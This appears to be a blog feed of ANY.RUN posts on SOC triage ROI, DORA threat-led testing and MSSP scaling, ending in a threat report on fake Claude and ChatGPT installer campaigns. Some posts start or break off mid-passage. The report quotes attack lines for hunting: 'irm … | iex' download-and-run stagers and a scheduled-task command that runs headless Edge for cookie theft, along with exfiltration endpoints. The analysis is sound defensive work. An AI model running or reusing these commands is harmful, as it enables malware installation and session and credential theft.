Among the biggest challenges SOC teams face is making sure they not only detect and investigate threats, but doing so quickly enough to make the right security decisions without overwhelming analysts or increasing operational costs.

In this article, ANY.RUN explores how better threat visibility and automation can help US-based SOCs achieve this, using a real phishing investigation and metrics to demonstrate how faster triage translates into greater ROI from existing SOC investments.

Key Takeaways

• Faster triage reduces investigation costs. A healthcare MSSP achieved 76% faster phishing triage with ANY.RUN, reducing investigation time from 30–40 to 4–7 minutes.

• Better visibility supports faster decisions. Behavioral analysis and automation help analysts identify genuine threats without lengthy manual checks.

• More cases resolved at Tier 1 improve SOC capacity. In the same customer case, the Tier 1 closure rate increased from 20% to 70%.

• Higher SOC ROI starts with existing resources. Fewer unnecessary escalations, faster investigations, and better resource utilization help teams scale efficiently.

The SOC Efficiency Challenge: What the Numbers Reveal

SOC teams face a difficult balancing act: alert volumes keep growing, but the time and resources available to investigate them remain limited. Analysts must sort through potentially harmless activity while ensuring that genuine threats don’t go unnoticed.

Recent Microsoft research highlights the scale of the problem:

According to a 2026 Microsoft and Omdia study, 42% of security alerts go uninvestigated, while 46% of respondents believe that more than half of their alerts are false positives.

This means SOC teams spend valuable time filtering out false alarms while a significant share of alerts never receive proper investigation, potentially leaving real threats undetected.

The consequences go beyond analyst fatigue. A total of 91% of surveyed security leaders reported serious security incidents caused by operational gaps.

For US-based organizations, this highlights a critical priority: reduce the time spent on false positives and routine checks to improve efficiency and get greater value from your security investments.

How Visibility and Automation Helps SOCs Increase ROI

Increasing SOC ROI starts with helping analysts make accurate decisions faster, without adding unnecessary manual work or operational costs.
It takes providing analysts with enough information to make accurate decisions for them to avoid spending unnecessary time on manual checks and switching between security solutions.

According to ANY.RUN data, two capabilities have proved to make most difference: visibility into actual threat behavior and automation of repetitive investigation steps. That’s what helps Tier 1 and Tier 2 analysts distinguish genuine threats from false positives, prioritize incidents, and decide when further investigation or response is needed:

• Identify threats faster. Interactive Sandbox reveals actual file and URL behavior, from phishing chains to malware activity, with a median threat detection time of just 14 seconds.

• Reduce manual investigation. Automated Interactivity, integrations, and API access streamline repetitive steps, helping analysts move from alert to decision faster.

• Turn findings into action. Ready-made reports and AI recommendations support informed response decisions, helping reduce unnecessary Tier 1-to-Tier 2 escalations by up to 30%.

• Detect known threats earlier. Around 30% of unique malicious IOCs in studied Sandbox sessions were already present in Threat Intelligence Feeds before investigation, allowing teams to identify some threats without separate Sandbox analysis.

These numbers are achieved through accessible, automated behavioral analysis of URL and file submissions offered by ANY.RUN.

It gives analysts the evidence they need to assess alerts and make informed response decisions. Instead of relying on static indicators or reputation scores alone, SOC teams can see what a suspicious file or URL actually does, identify malicious activity, and move from alert to verdict with fewer manual steps.

Use Case: Phishing Investigation, Done Right

In a typical phishing investigation, an analyst may need to manually extract suspicious URLs, follow redirects, and navigate CAPTCHAs before reaching the actual threat.

This real phishing investigation in ANY.RUN shows how this process can be streamlined.

View analysis

The email contains a QR code leading to a credential-harvesting page disguised as Microsoft 365. Instead of manually navigating the phishing chain, the analyst can rely on Automated Interactivity to extract the URL, follow redirects, and complete the CAPTCHA to reveal the phishing page.

Meanwhile, Interactive Sandbox automatically captures the attack behavior, network activity, and related IOCs, organizing the evidence across the process tree and other analysis tabs.

Even with a multi-step phishing chain like this, Tier 1 can get an initial verdict within seconds. Across ANY.RUN analyses, the average mean time to detect (MTTD) is just 14 seconds.

Once the analysis is complete, the analyst can generate a Tier 1 report containing the verdict, AI-generated summary, and recommended next steps. In this scenario, these recommendations can help the team look for similar phishing emails, identify users who may have opened the page, and investigate potential credential exposure.

This workflow can be further accelerated using ANY.RUN’s selection of ready-made integrations as well as API/SDK capabilities. As noted by one of ANY.RUN’s MSSP clients, this setup significantly contributes to triage speed:

Threat Intelligence adds another layer of context. Threat Intelligence Lookup helps determine whether the extracted indicators have appeared in other investigations and what behavior they were associated with. Meanwhile, Threat Intelligence Feeds deliver verified malicious IOCs into existing security workflows, supporting earlier detection of related threats.

The key outcome isn’t simply a completed analysis, but a faster, evidence-based decision.

With a confirmed verdict, enriched threat data, and a structured report, Tier 1 can determine whether to close the alert or escalate the incident. If further response is needed, the next team receives the relevant findings without having to repeat the investigation.

This approach helps SOC teams resolve more cases at Tier 1 and reserve specialist time for complex threats. Across customer workflows, ANY.RUN helps reduce Tier 1-to-Tier 2 escalations by up to 30%, improving response efficiency without increasing analyst workload.

76% Faster Triage: Measuring the Impact on SOC Operations

The phishing example shows how individual investigations can become faster and more efficient. But here’s what happens when these improvements are applied across an entire SOC:

Turning Faster Triage Into Higher SOC ROI

For US-based SOCs, increasing ROI doesn’t necessarily mean investing in more security solutions or expanding headcount. It starts with getting more value from existing resources.

By combining behavioral visibility, automation, and actionable threat intelligence, SOC teams can investigate more alerts, resolve more cases at Tier 1, and reduce the time spent on manual work and unnecessary escalations.

As the 76% faster triage example demonstrates, these operational improvements can translate into greater analyst capacity, lower investigation costs, and stronger returns on SOC investments.

About ANY.RUN

ANY.RUN provides interactive malware analysis and actionable threat intelligence for SOC teams and MSSPs. Its Interactive Sandbox, TI Lookup, and TI Feeds help organizations detect threats faster, automate investigations, and make informed response decisions.

Trusted by 16,000+ organizations worldwide and 74 of Fortune 100 companies, ANY.RUN helps security teams improve operational efficiency and maximize the value of their security investments.

FAQ

The post 76% Faster Triage: How US SOCs Increase ROI Through Visibility and Automation appeared first on ANY.RUN's Cybersecurity Blog.

That makes threat intelligence a core part of the process. It helps define what should be tested, which TTPs matter, and which attack paths are most relevant to the organization.

Let’s look at the main TLPT requirements explained in practice, where threat intelligence fits into DORA TLPT, and what teams need to get right before testing begins.

What Are the DORA TLPT Requirements?

The Digital Operational Resilience Act (DORA), established under Regulation (EU) 2022/2554, sets cybersecurity and operational resilience requirements for financial entities across the European Union.

Under DORA Article 26 TLPT, certain financial entities must carry out threat-led penetration testing at least once every three years. The DORA TLPT frequency can be adjusted depending on the entity’s risk profile and operational circumstances.

The framework is maintained by the European Central Bank (ECB), while the DORA TLPT standards were developed by the European Supervisory Authorities — EBA, EIOPA, and ESMA — in cooperation with the ECB.

The DORA TLPT scope must cover several or all critical or important functions and include the ICT systems, processes, and technologies that support them. Testing is carried out on live production systems, which is one of the main differences between TLPT and more conventional security assessments.

The detailed methodology is set out in the Regulatory Technical Standards under Commission Delegated Regulation (EU) 2025/1190. These rules define how TLPT should be scoped, prepared, executed, and followed by remediation.

How TIBER-EU Fits into DORA TLPT

The TIBER-EU framework DORA connection is straightforward. DORA sets the regulatory requirements for TLPT, while TIBER-EU provides a practical framework for carrying out threat intelligence-based red team testing.

The updated TIBER-EU framework closely follows the DORA TLPT process, covering scoping, threat intelligence, red team testing, purple teaming, and reporting.

For financial organizations, this means TLPT is not just about testing systems for weaknesses. The exercise should reflect the threats, techniques, and attack paths that are actually relevant to the organization.

The Main TLPT Phases Under DORA

The TLPT phases DORA follows are grouped into three main parts: preparation, testing, and closure. The testing phase covers both threat intelligence and active red team testing, while reporting, replay, purple teaming, remediation planning, and attestation come later in the process.

1. Preparation Phase

The preparation phase sets up the exercise. The financial entity forms the control team, defines the scope, selects the threat intelligence and red team providers, and puts the necessary risk management and communication arrangements in place.

The relevant National Competent Authority (NCA) or TLPT authority also oversees key parts of the process, including the scope and overall test setup.

Because TLPT is performed against live production systems, this phase also includes assessing the risks of the test and agreeing the controls needed to keep it safe.

2. Testing Phase

The testing phase starts with threat intelligence. The threat intelligence provider analyzes relevant threats, gathers target-specific intelligence, and develops scenarios that reflect realistic attacks against the financial entity.

Once the targeted threat intelligence report is approved, the red team uses it together with the scope specification document to prepare the red team test plan and execute the selected attack scenarios. The active red team testing phase must last at least 12 weeks.

3. Closure Phase

After active testing ends, the red team and blue team prepare their respective reports. The teams then replay the offensive and defensive actions performed during the test and carry out purple teaming to review vulnerabilities, missed detections, and other areas for improvement.

The financial entity then prepares a summary of the TLPT findings, including a high-level remediation plan. The TLPT authority reviews the required documentation as part of the attestation process.

What Threat Intelligence Does in DORA TLPT

In threat intelligence DORA TLPT, the job is to work out which threats actually matter for the financial entity being tested. That means looking at the organization’s sector, exposure, systems, and current threat activity, then using that information to guide the exercise.

This is where threat intelligence in penetration testing becomes practical. Instead of starting with generic attack scenarios, teams can focus on the threat actors, TTPs, infrastructure, and attack paths that are more likely to be relevant to that organization.

For DORA threat-led penetration testing, this intelligence helps answer a few basic questions before the red team starts: who is most likely to target the entity, what they may try to reach, how they are likely to get in, and which techniques they are using now.

The result is a test based on evidence about the organization and its current threat environment, rather than a fixed set of generic attack cases.

How ANY.RUN Can Support Threat Intelligence for DORA TLPT

Threat intelligence for TLPT needs to be specific enough to support realistic scenarios. That means analysts don’t only need high-level threat reports but also current infrastructure, malware behavior, indicators, and relationships between them.

Threat Intelligence Lookup: Investigate Relevant Threat Activity

Threat Intelligence Lookup gives teams access to threat data generated from investigations across the ANY.RUN community, used by 700,000+ security professionals and 16,000+ organizations. That gives analysts a much broader base of real-world activity to work from when researching threats for TLPT.

Instead of stopping at a single IOC, teams can investigate the wider context around it:

• related domains, IPs, URLs, and infrastructure
• malware families and samples connected to the same activity
• links between indicators seen across different investigations
• behavior associated with active campaigns
• patterns that help show whether a threat is relevant to the financial entity

For TLPT preparation, this can help turn a broad threat hypothesis into something more concrete. If a team identifies a threat actor or malware family that matters to the organization, they can dig into the surrounding infrastructure and behavior, then use that evidence to make the scenario more specific and closer to what attackers are actually doing.

Teams can also use Threat Intelligence Feeds to keep TLPT scenarios aligned with current threat activity. 30% of unique malicious IOCs discovered by ANY.RUN customers during their Interactive Sandbox investigations are already available in ANY.RUN TI Feeds, giving teams more up-to-date context when reviewing indicators and infrastructure before testing begins.

Interactive Sandbox: Add Behavioral Context to TLPT Scenarios

Threat intelligence can show which malware, infrastructure, or attack chains matter. A sandbox helps teams understand how those threats actually behave once executed.

With ANY.RUN’s Interactive Sandbox, analysts can inspect process chains, persistence, network activity, dropped files, command-and-control behavior, and MITRE ATT&CK techniques in one investigation. That gives the testing team more concrete behavioral evidence when deciding which techniques and behaviors are worth including.

For example, if a malware family is relevant to the financial entity, the team can see how it establishes persistence, what infrastructure it contacts, and which techniques appear during execution. Those details can help make the scenario closer to observed attacker behavior instead of relying only on static indicators.

The sandbox does not replace the live production testing required by DORA. It supports the research and preparation that happens before the active TLPT exercise.

Who Is Involved in a DORA TLPT?

A DORA TLPT involves several teams, each with a different role in planning, executing, or overseeing the exercise.

• Control team: A small group within the financial entity that knows the test is taking place. It coordinates the exercise, manages risk, and can intervene if testing creates an unacceptable risk to production systems.
• Threat intelligence provider: Researches the threat landscape and the financial entity itself, then develops the intelligence and scenarios that guide the test.
• Red team: Carries out the simulated attack, using the agreed scenarios to test how far an attacker could get against the organization’s critical functions.
• Blue team: The organization’s defensive team. It is not told about the exercise in advance and is expected to detect and respond as it would during a real attack.
• TLPT authority: Oversees the test through designated test managers and checks that the exercise follows the required methodology.

Once active testing is over, the red and blue teams come together for replay and purple teaming. They compare what the attackers did with what defenders saw and responded to, then use those findings to identify gaps and remediation priorities. Purple teaming is mandatory under the DORA-aligned TIBER-EU framework.

What DORA Requires from Threat Intelligence Providers

DORA is fairly specific about who can support a TLPT exercise. Under DORA Article 27 TLPT, testers are expected to have the right technical expertise, relevant experience, and enough independence to work on an exercise that may involve live production systems.

The threat intelligence provider TLPT requirements are set out in more detail in the Regulatory Technical Standards (RTS) under Commission Delegated Regulation (EU) 2025/1190. The provider should be able to show relevant experience, bring together the right mix of technical, sector, and geopolitical knowledge, and avoid conflicts of interest that could affect the exercise.

That matters because the provider is not there simply to deliver a list of indicators. They need to judge which threats are genuinely relevant to the financial entity, which details are useful for the test, and how that intelligence should be turned into something the red team can actually work with.

What Goes into a DORA Targeted Threat Intelligence Report

The targeted threat intelligence report is one of the main outputs of the TI phase. It brings together the threat information most relevant to the financial entity and gives the testing team a stronger basis for building realistic scenarios.

The report can include:

• critical or important functions in scope
• relevant threat actors and TTPs
• exposed credentials and look-alike domains
• vulnerable or exploitable systems
• malicious infrastructure linked to current activity
• malware families connected to relevant campaigns
• other technical evidence that can help shape the test

ANY.RUN can support this work by adding technical context and behavioral evidence to the threat intelligence process. Threat Intelligence helps teams connect domains, IPs, URLs, malware families, and related infrastructure, while the Interactive Sandbox shows how relevant threats behave during execution.

Together, this gives analysts a clearer picture of the activity behind the indicators — not just what is malicious, but how it operates. That context can help strengthen threat profiles, validate TTPs, and give the red team more concrete evidence when building attack scenarios.

Strengthen DORA TLPT With Better Threat Intelligence

For financial organizations, TLPT is not just a regulatory exercise. Its value depends on whether the test reflects the threats the business is actually exposed to and gives security teams something useful to act on afterward.

ANY.RUN is already used by 1,811 financial organizations, giving teams access to threat intelligence and investigation data that can support the preparation behind DORA TLPT.

With stronger threat context going into the exercise, teams can make better testing decisions, focus on the risks that matter most, and get more value from the TLPT process.

About ANY.RUN

ANY.RUN helps security teams investigate threats, analyze malware, and work with current threat intelligence. The platform is used by 700,000+ security professionals and 16,000+ organizations worldwide.

Its solutions include the Interactive Sandbox, Threat Intelligence Lookup, and Threat Intelligence Feeds, giving teams access to malware behavior, related infrastructure, and fresh threat data in one environment.

The company is also SOC 2 Type II attested, reflecting established controls around security, availability, and data protection.

Frequently Asked Questions

The post DORA TLPT Requirements Explained: Where Threat Intelligence Fits appeared first on ANY.RUN's Cybersecurity Blog.

But growth also brings more alerts, suspicious files and URLs, investigations, escalations, reports, and SLA commitments. And if too much of that work still depends on manual analyst effort, those 10 new clients can put pressure on the SOC faster than expected.

That is usually where the cracks start to show: analysts spend more time on each case, escalations pile up, and keeping the same level of service gets harder.

1. Alert Volume Grows Faster Than Analyst Capacity

The first pressure usually shows up in the investigation queue.

Every new client adds another stream of alerts to the SOC. Some are easy to dismiss, while others send analysts into a longer process: opening files, checking URLs, following redirects, collecting IOCs, and figuring out whether the activity is actually malicious.

The workload grows especially fast when analysts have to keep stepping in just to move an investigation forward. A phishing page may hide the next stage behind a CAPTCHA, a QR code, or another interaction. If the analysis stops there, someone has to take over manually before the team can see what comes next.

Let Automation Handle the Routine Steps, Then Bring Analysts in When Needed

A lot of the time spent on phishing and malware analysis comes from small steps that keep interrupting the investigation.

In ANY.RUN’s Interactive Sandbox, analysis with Automated Interactivity can continue through common obstacles such as CAPTCHAs, redirects, and links hidden behind QR codes. The investigation keeps moving instead of stopping every time the attack requires another click or action.

Analysts can then step in when their judgment is actually needed: interact with the environment, test suspicious behavior, follow a specific attack path, or inspect what happens after a certain action.

For an MSSP handling investigations across many customers, that combination matters. Routine steps take less analyst time, while the team still keeps control over the cases that need a closer look.

2. Investigation Context Becomes the Hidden Time Sink

As the client base grows, analysts spend more time not only investigating threats but also figuring out what the indicators around them actually mean.

A suspicious domain, IP, hash, or URL may need to be checked against several sources before the analyst can tell whether it is part of a known campaign, tied to malicious infrastructure, or connected to attacks seen elsewhere.

See the Bigger Picture Around the Indicator

A single IOC rarely tells the whole story. Analysts need to know what sits around it: related domains, IPs, URLs, malware, infrastructure, and other attacks where the same indicators appeared.

Threat intelligence can help fill in that wider picture. In ANY.RUN, that context is built from activity observed across a global user base of more than 700,000 security professionals and 16,000 organizations.

That can help analysts see whether a suspicious indicator has appeared in other attacks, what it was connected to, and whether it points to a broader campaign rather than an isolated event.

For an MSSP, this can shorten the research part of the investigation and give analysts more context before they decide whether to contain, escalate, or report the case to the customer.

3. Handoffs Start Creating Duplicate Work

As the number of cases grows, more investigations move between analysts and teams. And that is where time can easily get lost.

Tier 1 may already have checked the file or URL, reviewed the behavior, collected IOCs, and identified what looks suspicious. But if that work is passed to Tier 2 as scattered notes or a short ticket update, the next analyst may need to go through much of the same investigation again.

Make the First Investigation Useful for the Next Analyst

A better handoff should carry the investigation forward, not send it back to the beginning.

ANY.RUN’s Tier 1 reports are generated automatically from the analysis and bring the key findings into one place, including a summary of the activity, detected behavior, IOCs, and AI-generated recommendations for the next steps.

So, when a case reaches Tier 2, the analyst already has the main evidence and context in front of them. They can focus on the parts that actually need deeper analysis instead of repeating work Tier 1 has already done.

This also helps keep more cases from moving upward unnecessarily. Teams using ANY.RUN report 30% fewer Tier 1-to-Tier 2 escalations and 20% less time spent on Tier 1 investigations.

And the same report does not have to stop at the internal handoff. Relevant findings can also be reused when updating customers, giving MSSPs a faster way to explain what was found and what action may be needed without writing the case from scratch again.

4. Threat Data Starts Piling Up Faster Than Teams Can Use It

As an MSSP grows, analysts have more alerts to investigate and more indicators to check along the way.

If analysts still have to search for every suspicious IP, domain, or URL manually, that adds another repetitive step to already busy investigations.

Bring Fresh Threat Data into the Systems Analysts Already Use

Threat intelligence Feeds can bring verified malicious IPs, domains, and URLs directly into the MSSP’s existing security stack, including SIEM, SOAR, TIP, and other detection and investigation systems.

That gives analysts fresh threat data where they are already working instead of making them search for every indicator separately.

The feeds can also support correlation and enrichment. When an alert contains infrastructure that has already been seen in malicious activity, analysts have more information available from the start and can prioritize the case faster.

For a growing MSSP, this reduces another source of repetitive work while making fresh threat data available across the SOC.

5. SLA Pressure Shows Up Before Headcount Does

As the client base grows, so does the number of response-time commitments the SOC has to meet. More investigations, handoffs, and customer updates all compete for the same analyst time.

That gets harder when each stage of the investigation sits in a different place and analysts have to keep carrying information from one system to another.

Bring More of the Investigation into One Workflow

ANY.RUN covers different parts of the investigation through its solutions.

The Sandbox helps analysts expose the attack and collect evidence. TI Lookup extends that investigation when they need to understand related infrastructure or activity. TI Feeds make fresh indicators available in the security systems the team already uses.

This keeps more of the work connected from analysis to threat context and detection, with fewer stops in between.

What Has to Change Before the Next 10 Clients Arrive?

Ten more clients should mean more revenue. They should not mean 10 more versions of the same manual work.

Before the next wave of customers comes in, look at where analyst time is already being lost. Which steps keep slowing investigations down? Where do analysts repeat the same research? Where does context get lost between teams? Which tasks become harder to manage when the queue gets busy?

Those are usually the areas that feel the pressure first as the client base grows.

At scale, even small delays start to matter.

Minutes saved on research, handoffs, reporting, or IOC checks may look minor in one case. Across hundreds of investigations, they can add up to a significant amount of analyst capacity.

What Investigation Efficiency Can Change for an MSSP

The impact becomes clearer when you put numbers against it.

Teams using ANY.RUN report:

• 20% less Tier 1 investigation time: More cases handled with the existing Tier 1 capacity.
• 30% fewer Tier 1-to-Tier 2 escalations: Less senior analyst time spent on routine cases.
• 21 minutes less MTTR per case: Faster movement from investigation to containment.
• 94% faster threat triage: More room to keep queues manageable as volume grows.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence solutions used by more than 700,000 cybersecurity professionals across 16,000+ organizations worldwide.

Its Interactive Sandbox gives analysts full visibility into suspicious files, URLs, phishing pages, browser activity, network traffic, processes, and other attack behavior. Threat Intelligence Lookup helps teams investigate related infrastructure and activity, while Threat Intelligence Feeds bring fresh IOCs into existing security systems.

These capabilities help reduce repetitive investigation work, give analysts more context, and support growing investigation volumes without adding the same amount of manual effort.

The post Your MSSP Added 10 New Clients. What Breaks First? appeared first on ANY.RUN's Cybersecurity Blog.

The attacks share one trait: the employee performs the decisive step. They paste an “install command,” run a convincing installer, or sign in to a fake window. That can put source code, cloud and AI API keys, active business sessions, ad accounts, and billing access at risk, turning a single user action into potential data exposure, account compromise, financial loss, or disruption to development and marketing operations.

Below, we break down five attack patterns, the numbers behind them, and the signals SOC teams can hunt for.

Key Takeaways

• Fake AI is a sustained campaign theme, not a one-off. We linked 1,258 public sandbox analyses to fake-AI campaigns between April 15 and October 5, 2026, with more than 100 analyses every month from April to September, keeping employee and SOC exposure consistently high.
• Claude and ChatGPT are the brands attackers wear most. Together they account for 81% of those analyses: Claude 601 (48%) and OpenAI ChatGPT and Codex 418 (33%), making widely adopted AI brands a recurring path into corporate environments.
• American organizations are squarely in scope. The US ranks first for both the fake “Download Claude” campaign and the ChatGPT-themed chains. Across all fake AI activity analyzed, US submitters account for 69 of 422 country records in Threat Intelligence Lookup, or 16%, ranking second overall after India.
• The victim runs the attack. At least 45% of the analyses belong to campaigns that tell the user to paste a command into the Run dialog, PowerShell, or Terminal, turning routine user actions into an execution path that can bypass traditional controls.
• Trusted platforms carry the lures. We saw lures on GitHub, GitLab Pages, Cloudflare Pages, Google Sites, claude.ai, and chatgpt.com, promoted through Google Ads and search results, making simple domain blocking less effective.

Fake AI Threat Overview

Fake AI campaigns are effective because they blend into normal employee behavior. Searching for a new AI app, following setup instructions, opening a shared chat, or connecting a business account can all look routine, which gives attackers room to move past traditional email-focused defenses.

What makes these campaigns especially relevant for organizations is the type of access they can reach. Developers may expose source code, cloud credentials, or API keys, while marketing and business teams can hold access to advertising, billing, and other high-value accounts.

Business Risks for American Organizations

These campaigns can expose far more than a single employee account. If successful, they can lead to unauthorized access to business systems, loss of sensitive data and credentials, disruption to development or marketing operations, and direct financial exposure through compromised cloud, advertising, or billing accounts.

• Session theft without a password: The trojanized installer exports browser cookies through a headless browser, which can give attackers access to email, CRM, and cloud consoles without a new MFA prompt.
• Developer workstation compromise: InstallFix runs the attacker’s script in a developer’s shell, where source code, SSH keys, CI/CD tokens, and cloud and AI API keys may already be accessible.
• Ad and business account takeover: Fake AI advertising invitations collect Google account credentials from employees who manage ad budgets and billing, putting high-value business accounts at risk.
• Reduced visibility for defenders: These chains often begin in search results, use built-in binaries, and let the server choose the next stage, leaving mail gateways and file scanners with less to inspect.
• Shadow AI exposure: Employees searching for and installing AI software outside the approved catalog make it harder for IT and security teams to distinguish legitimate software from convincing counterfeits.

Fake AI Attacks by the Numbers

Between April 15 and October 5, 2026, we linked 1,258 public sandbox analyses to fake AI campaigns.

Activity peaked in May 2026 with 358 analyses. The fake CLI installers and the ChatGPT-themed chains drove that peak, and the volume has stayed between 108 and 151 analyses a month since July.

Campaigns that make the victim paste a command account for 561 analyses (45%): fake CLI install pages (InstallFix, 341) and fake download pages with ClickFix (220). Chains that start on a shared AI chat or artifact add 320 more, and many of them also end in a pasted command, so 45% is a lower bound.

The country split comes from research carried out with Threat Intelligence Lookup, which records the submitter’s country for each public analysis. Across seven queries on the campaigns’ key domains, US submitters account for 69 of 422 country records (16%), behind India with 86 (20%). In the fake “Download Claude” campaign, the US ranks first with 21 of 92 records, and in the ChatGPT-themed chains it ranks first with 18 of 86.

How Fake AI Attacks Work

Every chain we analyzed has the same skeleton: a lure in search results or email, a copy of a familiar page on trusted hosting, and one step that the employee performs. What changes from campaign to campaign is that step and what it unlocks.

• Lure: A sponsored search result, an SEO-poisoned result, a shared AI conversation, or an invitation email.
• Fake page: A copy of the vendor’s download page or documentation, hosted on a platform that security filters are more likely to trust, such as GitLab Pages, Cloudflare Pages, Google Sites, GitHub, or the AI platform itself.
• Employee action: The user pastes a command into the Run dialog, PowerShell, or Terminal; runs an installer; or signs in through a pop-up that imitates Google.
• Loader: A built-in Windows binary, such as mshta.exe or powershell.exe, or a small stager contacts the attacker’s server to retrieve the next stage.
• Payload: An infostealer, session-cookie stealer, or remote access trojan. In the sign-in branch, credentials are sent directly to the operator.

The sections below follow the five patterns that carried most of the activity.

InstallFix: When the Install Command Is the Malware

AI coding tools install with one line of PowerShell or shell, and that habit is the lure. The fake pages copy the install documentation of Claude Code, GitHub Copilot CLI, OpenAI Codex, Ollama, and OpenClaw, and swap the vendor’s domain in the one-liner for the attacker’s. A developer who copies the command runs the attacker’s script with their own permissions.

View sandbox session with the fake Copilot CLI page

Victims reach these pages from ordinary searches. In one session, a Bing search for “claude code docs” listed claudecode[.]us[.]com as a “Claude Code Installation Guide”, a few lines from the official documentation. Other sessions arrived from Google organic results and from typosquatted redirectors such as claubecode[.]co[.]com and openclow[.]co[.]com.

View sandbox session with the search result

The first-stage script calls a second one-liner, irm refract3[.]com | iex, which pulls further stages from kafeprog7[.]com or help.xenngypt[.]com and then a stealer from a GitHub release. The fake Ollama variant goes one step further. It downloads and installs the real OllamaSetup.exe, so the developer gets a working tool while the stealer runs alongside it. The last full chain we observed ran on September 16, 2026.

View sandbox session with the full chain

We counted 341 analyses across six brands, peaking in May and June 2026. The lure domains rotated, but the shape of the command did not: irm <domain>/install… | iex started from a browser session, pointing at a domain that is not the vendor’s.

The Download Page That Asks for PowerShell: Fake “Download Claude” with ClickFix

This campaign clones the Claude download page and has been active since April 2026. We found its landing pages on a Webflow site (cladesktop-apps[.]com), on GitLab Pages, on Cloudflare Pages, and on playcode.io, with variants for DeepSeek and NotebookLM. In 37 of its 220 analyses, the session started with a click on a Google ad.

When the visitor clicks “Download for Windows”, the page copies a command to the clipboard and shows step-by-step instructions: press Win+R, open PowerShell, paste, and press Enter.

View sandbox session with the fake download page

mshta.exe fetches an HTA from the attacker’s server. The HTA assembles the word “powershell” from pieces to slip past simple string matching, then runs an encoded PowerShell stage. In the sessions where the chain ran to the end, the sandbox flagged stealer activity. No file reaches the browser’s download folder, and every process in the chain is a built-in Windows binary. Other landing pages of the same campaign show the same flow:

• GitLab Pages copy opened from a Google ad: View sandbox session with the GitLab Pages copy
• NotebookLM-branded variant: View sandbox session with the NotebookLM variant

The landing hosts changed many times, but the HTA host last-version.install-2026[.]com stayed the same from April to September. A related page on claudedev[.]net uses a fake Cloudflare check instead. Its PowerShell stage leads to a loader chain likely belonging to HijackLoader: sandbox sessions that share its download host trigger HijackLoader command-and-control detections.

View sandbox session with the fake Cloudflare check

When the Lure Lives on claude.ai or chatgpt.com

Some operators skip lookalike domains altogether and publish the lure on the AI platform itself. A shared conversation, a custom GPT, or a published artifact lives on the vendor’s domain, which no company blocks.

One session opened a published claude.ai artifact from a Google ad; the URL carries Google Ads click parameters. The artifact poses as “Download Claude | Claude by Anthropic”, while the platform’s own banner marks it as user-generated. Its “Install on macOS” instructions tell the visitor to paste a curl command into Terminal.

View sandbox session with the claude.ai artifact

The base64 string decodes to a /curl/<hex> URL on paripassuventures[.]com. Sessions that requested that host between August 24 and September 3, 2026, received a payload detected as MacSync Stealer, in 8 of the 12 analyses. Shared Claude and Perplexity conversations promoted the same way lead to the same /curl/<64 hex characters> path on other compromised sites.

View sandbox session with the shared Claude conversation

The most recent ChatGPT-themed chains, from September 2026, start from shared chats and custom GPTs. In one session, a Google ad led to a shared chat on chatgpt.com with a single message: “We are experiencing high traffic now. Continue on our backup domain,” followed by a link to openai-backup[.]one. ChatGPT warned that the link led to an external site, but the domain name made the detour look like part of the service.

View sandbox session with the shared ChatGPT chat

The “backup domain” shows a fake Cloudflare check and then a “Human Verification” box with three steps: Win+R, Ctrl+V, Enter. Its /api.php requests carry an operator key, and the same key appears in a chain that starts from a custom GPT and passes through a Google Sites page. In a session from that chain, pasting the command silently installed an MSI package:

View sandbox session with the custom GPT chain

We counted 320 analyses in chains that start on a shared AI chat or artifact or touch their infrastructure, 17 of them straight from an ad click. The durable markers are the /curl/<64 hex characters> download path, the sites.google.com/view/antibot<digits> pages, the operator key in /api.php?k= requests, and curl one-liners that decode their own URL from base64.

A Real Claude Installer and a Stolen Session

This pattern does not ask for a command. The lure site claude-ai[.]us serves a saved copy of the Claude download page, and its button downloads Claude_x64-setup.exe from a GitHub release. In the sandbox session, a window titled “ClaudeCode” asked for a click on “Setup”. After the click, the genuine Claude installer, downloaded from Anthropic’s own servers, ran in the foreground.

Behind the decoy, the stager registers a scheduled task that starts Microsoft Edge without a window, with remote debugging on and a fake updater user agent:

schtasks.exe /create /tn “mseupdate” /tr “\”C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe\” –remote-debugging-port=9222 –headless –user-agent=\”Google Update 4.3\” –disable-gpu –no-sandbox https://microsoft.com/” /sc onlogon /rl highest

The headless browser then posts data to nucleflowers[.]xyz: cookies (/api2.php?method=sendcookjson), extension data (sendexts), and a third set labeled sendkeys. With those cookies, the attacker can open the victim’s web sessions without a password or MFA prompt.

View sandbox session with the trojanized installer

The lure site left its directory listing open, which exposed the kit’s file names: claude_win.html, claude_mac.html, and stats-claude-collector.php, the endpoint that records each visit. At the moment of the download click, the page also registers the visitor with the stager’s server through /api4.php?method=auth&key=<key>&ist=claude. The same registration call, with its own key and brand label, appears behind other “AI” apps, such as a fake AI budgeting tool on budgetforge[.]ai that served its installer from a different GitHub account in April 2026.

View sandbox session with the budgeting-tool lure

The kit’s paths (/stats-claude-collector.php, /api4.php?method=auth, /api2.php with sendcookjson) and the mseupdate task with the “Google Update 4.3” user agent outlived the domain. That makes them better hunting keys than claude-ai[.]us itself.

“Run Ads on Claude”: Fake AI Ads Invitations Target Marketing Teams

The fifth pattern targets marketers, not developers. Landing pages invite the visitor to “Run ads on Claude”, to “Connect your Google Ads account with Gemini”, or to join Perplexity Ads or a Manus beta. The pages carry mailto:unsubscribe@ links, which suggests delivery by email. Clicking “Connect” opens a browser-in-the-browser (BiTB) pop-up: a fake window, drawn inside the page, that imitates the Google sign-in screen and its address bar.

• View sandbox session with the Claude Ads lure
• View sandbox session with the Gemini Ads lure
• View sandbox session with the Manus lure

Before showing the pop-up, the page geolocates the visitor through public IP services. It then registers the visit with a backend on Railway or Render and keeps a live socket.io channel open to the operator. The backend paths are the same for every brand:

We counted 57 analyses across four brands between July 21 and September 18, 2026. The domains change with each brand (claude-advertisement[.]com, gemini-beta-invitations[.]com, perplexity-beta-ads[.]com, beta-manus[.]com), while the API paths stay the same, so they are the hunting key.

Also Seen: Malware Named After AI Products

We also counted 220 analyses of suspicious or malicious files named after AI products: “Claude Setup.exe”, “ChatGPT Installer.exe”, “Codex Installer.exe”, “GeminiSetup.exe”, “copilot_lite.exe”, and “Sora2.apk”. Examples:

• a fake claude-code.exe that turned out to be Aura Stealer, which checked in and exfiltrated data to sys-tools[.]cfd;
• files named after Copilot that carried AsyncRAT (8 analyses);
• a grok.exe that carried Quasar RAT.

View sandbox session with the fake claude-code.exe

Which Organizations Are Seeing Fake AI Activity

The lures pick their audience by role:

• Developers: fake CLI installers for Claude Code, Copilot CLI, Codex, and Ollama.
• Marketing teams: fake ads programs for Claude, Gemini, and Perplexity.
